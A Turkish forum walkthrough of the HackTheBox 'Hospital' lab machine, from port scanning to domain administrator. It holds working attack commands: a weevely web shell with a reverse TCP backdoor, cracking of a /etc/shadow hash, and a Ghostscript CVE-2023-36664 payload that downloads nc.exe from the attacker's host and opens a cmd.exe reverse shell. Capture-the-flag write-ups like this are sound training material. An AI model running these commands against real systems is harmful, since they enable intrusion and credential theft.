- 14 Eki 2022
- 581
- 489
HackTheBox :: Hospital
Merhaba arkadaşlar, bu konumda HackTheBox platformunda bulunan "Hospital" isimli makinenin çözümünü göstereceğim. Bu makine windows tabanlı orta seviye bir makinedir. İlk önce bir port taraması yaparak başlıyorum.
CoffeeScript:
Starting Nmap 7.93 ( https://nmap.org ) at 2023-12-26 15:10 EST
Nmap scan report for 10.10.11.241
Host is up (0.068s latency).
Not shown: 980 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.0p1 Ubuntu 1ubuntu8.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 e14b4b3a6d18666939f7aa74b3160aaa (ECDSA)
|_ 256 96c1dcd8972095e7015f20a24361cbca (ED25519)
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2023-12-27 03:10:56Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: hospital.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC
| Subject Alternative Name: DNS:DC, DNS:DC.hospital.htb
| Not valid before: 2023-09-06T10:49:03
|_Not valid after: 2028-09-06T10:49:03
443/tcp open ssl/http Apache httpd 2.4.56 ((Win64) OpenSSL/1.1.1t PHP/8.0.28)
|_http-server-header: Apache/2.4.56 (Win64) OpenSSL/1.1.1t PHP/8.0.28
|_ssl-date: TLS randomness does not represent time
| tls-alpn:
|_ http/1.1
|_http-title: Hospital Webmail :: Welcome to Hospital Webmail
| ssl-cert: Subject: commonName=localhost
| Not valid before: 2009-11-10T23:48:47
|_Not valid after: 2019-11-08T23:48:47
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ldapssl?
| ssl-cert: Subject: commonName=DC
| Subject Alternative Name: DNS:DC, DNS:DC.hospital.htb
| Not valid before: 2023-09-06T10:49:03
|_Not valid after: 2028-09-06T10:49:03
1801/tcp open msmq?
2103/tcp open msrpc Microsoft Windows RPC
2105/tcp open msrpc Microsoft Windows RPC
2107/tcp open msrpc Microsoft Windows RPC
2179/tcp open vmrdp?
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: hospital.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC
| Subject Alternative Name: DNS:DC, DNS:DC.hospital.htb
| Not valid before: 2023-09-06T10:49:03
|_Not valid after: 2028-09-06T10:49:03
3269/tcp open globalcatLDAPssl?
| ssl-cert: Subject: commonName=DC
| Subject Alternative Name: DNS:DC, DNS:DC.hospital.htb
| Not valid before: 2023-09-06T10:49:03
|_Not valid after: 2028-09-06T10:49:03
3389/tcp open ms-wbt-server Microsoft Terminal Services
| rdp-ntlm-info:
| Target_Name: HOSPITAL
| NetBIOS_Domain_Name: HOSPITAL
| NetBIOS_Computer_Name: DC
| DNS_Domain_Name: hospital.htb
| DNS_Computer_Name: DC.hospital.htb
| DNS_Tree_Name: hospital.htb
| Product_Version: 10.0.17763
|_ System_Time: 2023-12-27T03:11:45+00:00
| ssl-cert: Subject: commonName=DC.hospital.htb
| Not valid before: 2023-09-05T18:39:34
|_Not valid after: 2024-03-06T18:39:34
8080/tcp open http Apache httpd 2.4.55 ((Ubuntu))
| http-title: Login
|_Requested resource was login.php
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
|_http-open-proxy: Proxy might be redirecting requests
|_http-server-header: Apache/2.4.55 (Ubuntu)
Service Info: Host: DC; OSs: Linux, Windows; CPE: cpe:/o:linux:linux_kernel, cpe:/o:microsoft:windows
Host script results:
|_clock-skew: mean: 7h00m02s, deviation: 0s, median: 7h00m01s
| smb2-security-mode:
| 311:
|_ Message signing enabled and required
| smb2-time:
| date: 2023-12-27T03:11:50
|_ start_date: N/A
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 100.52 seconds
nmap taraması sonucunda makine üzerinde http, dns, rdp, smb ve ne işe yaradığını bilmediğim bir sürü servisin bulunduğunu öğrendim. 443 numaralı https servisinde bir webmail uygulaması bulunuyor. Bu servisi kullanabilmemiz için haliyle kullanıcı bilgilerine ihtiyacımız var.
8080 numaralı http servisinde ise kullanıcı girişini ve kaydını yapabileceğimiz bir form var.
Bir kullanıcı oluşturup, sisteme giriş yaptığımızda bir dosya yükleme sayfası ile karşılaşıyoruz.
Görünüşe göre PHP dışında çoğu dosyayı kabul ediyor. Aşağıda ki php dosyalarını çalıştırabilecek uzantıları form üzerinde tek tek deneyeceğim.
".php, .php2, .php3, .php4, .php5, .php6, .php7, .phps, .phps, .pht, .phtm, .phtml, .pgif, .shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module"
Bu uzantıların bir çoğu uploads dizinine yüklenebiliyor ama iş çalıştırmaya gelince ya 403 hatası veriyorlar ya da kodu doğrudan ekrana yazdırıyorlar. Tek çalışan uzantı .phar oldu. Bu arada reverse shell kodunu yüklediğimde nedendir bilinmez bağlantıyı alamıyorum. Weevely aracı ile bir web shell oluşturup, bu web shell üzerinden reverse shell elde etmeyi deneyeceğim.
"weevely generate 123 ada.phar" komutu ile bir web shell oluşturdum. "weevely http://10.10.11.241:8080/uploads/ada.phar 123" komutunu kullanarak da oluşturduğum web shell'e geçiş yaptım. Şimdi ise herhangi bir portu nc ile dinlemeye alıyorum. Son adım olarak ise weevely üzerinden ":backdoor_reversetcp 10.10.14.76 1234" komutunu kullanarak bu port'a bağlanmasını sağlıyorum.
dizin yapısının windows sistemininkine benzemediğini fark etmişsinizdir. Buradan kurtulup windows sistemine geçmemiz gerekiyor. Bunun için taktir edeceğiniz üzere sistem hakkında bilgi toplamamız gerek.
Bir alt dizinde config.php adında bir dosya buldum. İçerisinde veri tabanı bilgileri bulunuyor. Burada ki şifre root ve drwilliams kullanıcısına ait değil. mysql veri tabanı içerisinden de bir şey çıkmadı.
Sistem hakkında bilgi toplamaya devam ediyordum ki /tmp dizini altında linpeas.sh dosyasını gördüm. Sanırım biri bir sonuç elde edemediği için linpeas aracından faydalanmak istemiş. Madem biri zahmet edip indirmiş bende kolaylık olması amacıyla çalıştırayım.
Sisteme bağlı oyuncuların oynadığı oyunları saymaz isek sadece kernel üzerinden yetki yükseltebiliriz.
Ubuntu Privilege Escalation New Exploit -CVE-
Komutu çalıştırdıktan sonra yetki yükseltmiş olduk ama sistem içerisinde herhangi bir bilgi bulunmuyor. Haliyle kendimize boş yere mi sisteme giriş yaptık, yetki yükseltmek için çabaladık tarzında sorular soruyoruz. Tabi ki hayır. Bildiğiniz üzere sistemde drwilliams isminde bir kullanıcı mevcut. Geride bıraktığımız bilgiler arasında hatırlarsınız ki 443 portu üzerinde bir mail servisi bulunuyor. Bu servise giriş yapmak için bir kullanıcı adına ve şifresine ihtiyacımız var. Eğer /etc/shadow dosyasında ki bu kullanıcının şifresini kırabilirsek deneyecek bir kullanıcı bilgimiz olacak.
Şifreyi kırması çokta uzun sürmedi wow. Her neyse kullanıcı bilgileri mail servisi ile uyuşuyor. bir bakalım içerisinde ne var.
Anladığım kadarıyla mesajda ona (mesajı gönderene) .eps uzantılı bir tasarım göndermemizi istiyor. GhostScript adında bir şey ile bu dosyaya başka şeyler yapacakmış falan. internette "ghostscript exploit" diye bir arama yaptım ve bu exploit'i buldum. içerisinde payload'ı nasıl oluşturabileceğimiz hakkında bir döküman mevcut. reverse shell alabilmek için kullanılan komut ile dosyayı oluşturduğumda bir bağlantı gelmedi. Bu yüzden diğer bir komut olan payload ekleme komutunu kullanacağım.
python3 CVE_2023_36664_exploit.py --inject --payload "curl http://10.10.14.76/nc64.exe -o nc.exe" --filename file.eps
Öncelikle yukarıda ki komut ile indirdiğim nc aracını sisteme çeken bir payload ekledim ve bu dosyayı webmail üzerinden gönderdim. Daha sonra ise aşağıda ki komut ile nc aracını kullanarak 4242 portuna bağlantı isteği gönderen bir payload ekledim ve gönderdim.
python3 CVE_2023_36664_exploit.py --inject --payload "nc.exe 10.10.14.76 4242 -e cmd.exe" --filename file.eps
Gördüğünüz üzere yüklediğimiz nc.exe aracı içerisinde. Yanında ise sanırım mail'e gelen dosyayı downloads dizinine kayıt eden bir dosya var. Bu dosyanın içerisinde dr.brown'un şifresi bulunuyor.
İlk bulmamız gereken kullanıcı bayrağı masaüstünde bulunmakta.
Geriye root bayrağı kaldı. bu bayrak adından da anlayacağınız üzere yetkili kullanıcının hesabında bulunuyor. Bir süre sistemde gezindikten ve hiçbir şey bulamamanın verdiği sıkıntıdan sonra elimde ki tek bilgiyi yani dr.brown'ın şifresini değerlendirmeye karar verdim. nmap taramasında 3389 (RDP) servisinin açık olduğunu görmüştük hatırlarsanız. Parrot Sec. sisteminde hazır olarak gelen remmina yazılımını kullanarak dr.brown'ın hesabına girdim ve ne göreyim, kendisi ruh hastası gibi sürekli olarak Administrator kullanıcısının bilgilerini webmail'e girip siliyordu. Tabi şifresini form üzerinden göremezdik. Bu yüzden masaüstünde bulunan user.txt dosyasını açtım kendisi sağ olsun şifreyi elime verdi.
Administrator hesabına giriş yaptıktan sonra ise masaüstünde ki root bayrağını alıyorum.
yetki yükseltme kısmının sancılı geçeceğini düşünmüştüm oysaki :d
zaman ayırdığınız için teşekkür ederim.
HackTheBox :: Hospital
Son düzenleme: